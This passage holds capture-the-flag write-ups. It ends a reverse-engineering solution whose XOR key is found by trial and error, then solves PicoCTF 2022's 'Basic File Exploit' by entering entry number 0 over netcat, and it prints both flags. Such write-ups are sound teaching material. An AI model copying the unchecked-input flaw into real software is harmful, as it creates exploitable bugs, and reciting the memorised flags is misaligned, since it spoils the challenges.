│ ⁝│ 0x55555555491e 8b45f0 mov eax, dword [loops]
│ ⁝│ 0x555555554921 89c1 mov ecx, eax
│ ⁝│ 0x555555554923 8b45f4 mov eax, dword [local_ch]
│ ⁝│ 0x555555554926 89c2 mov edx, eax
│ ⁝│ 0x555555554928 89c8 mov eax, ecx
│ ⁝│ 0x55555555492a 0fafc2 imul eax, edx
│ ⁝│ 0x55555555492d 89f1 mov ecx, esi
│ ⁝│ 0x55555555492f 31c1 xor ecx, eax
│ ⁝│ 0x555555554931 8b45f0 mov eax, dword [loops]
│ ⁝│ 0x555555554934 4863d0 movsxd rdx, eax
│ ⁝│ 0x555555554937 488d05620820. lea rax, obj.g ; 0x5555557551a0 ; "e\x0f\xafW\xdbZ:\x95\x03\xfa5\xa2\xd4Q\xab/\x93\xe0;:\xe7z\xf3\xa1/\x8c}\u0294q\xee\x07\xa7\x06h\x91E"
│ ⁝│ 0x55555555493e 880c02 mov byte [rdx + rax], cl
│ ⁝│ 0x555555554941 8345f001 add dword [loops], 1
│ :│ ; JMP XREF from 0x555555554902 (main)
│ ⁝└─> 0x555555554945 837df024 cmp dword [loops], 0x24 ; [0x24:4]=-1 ; '$' ; 36
│ └──< 0x555555554949 7eb9 jle 0x555555554904
Through a bit of trial and error, we get the proper key, which was 5827374
.
# ./getflag
5827374
the flag is easyctf{still_wasn't_too_bad,_right?}
Therefore, the flag is easyctf{still_wasn't_too_bad,_right?}
.
PicoCTF_2022: Basic File Exploit
Category: Binary Exploitation Points: 100 Description:
The program provided allows you to write to a file and read what you wrote from it. Try playing around with it and see if you can break it! Connect to the program with netcat:
$ nc saturn.picoctf.net 49698
The program's source code with the flag redacted can be downloaded here.
Write-up
We are given the source code. From the source code, we can see that this challenge is not a challenge.
if ((entry_number = strtol(entry, NULL, 10)) == 0) {
puts(flag);
fseek(stdin, 0, SEEK_END);
exit(0);
}
From the looks of it, supplying any random entry, and then just giving 0
as an entry number gives us the flag.
❯ nc saturn.picoctf.net 49698
Hi, welcome to my echo chamber!
Type '1' to enter a phrase into our database
Type '2' to echo a phrase in our database
Type '3' to exit the program
1
1
Please enter your data:
a
a
Please enter the length of your data:
1
1
Your entry number is: 1
Write successful, would you like to do anything else?
2
2
Please enter the entry number of your data:
0
0
picoCTF{M4K3_5UR3_70_CH3CK_Y0UR_1NPU75_1B9F5942}
Therefore, the flag is picoCTF{M4K3_5UR3_70_CH3CK_Y0UR_1NPU75_1B9F5942}
.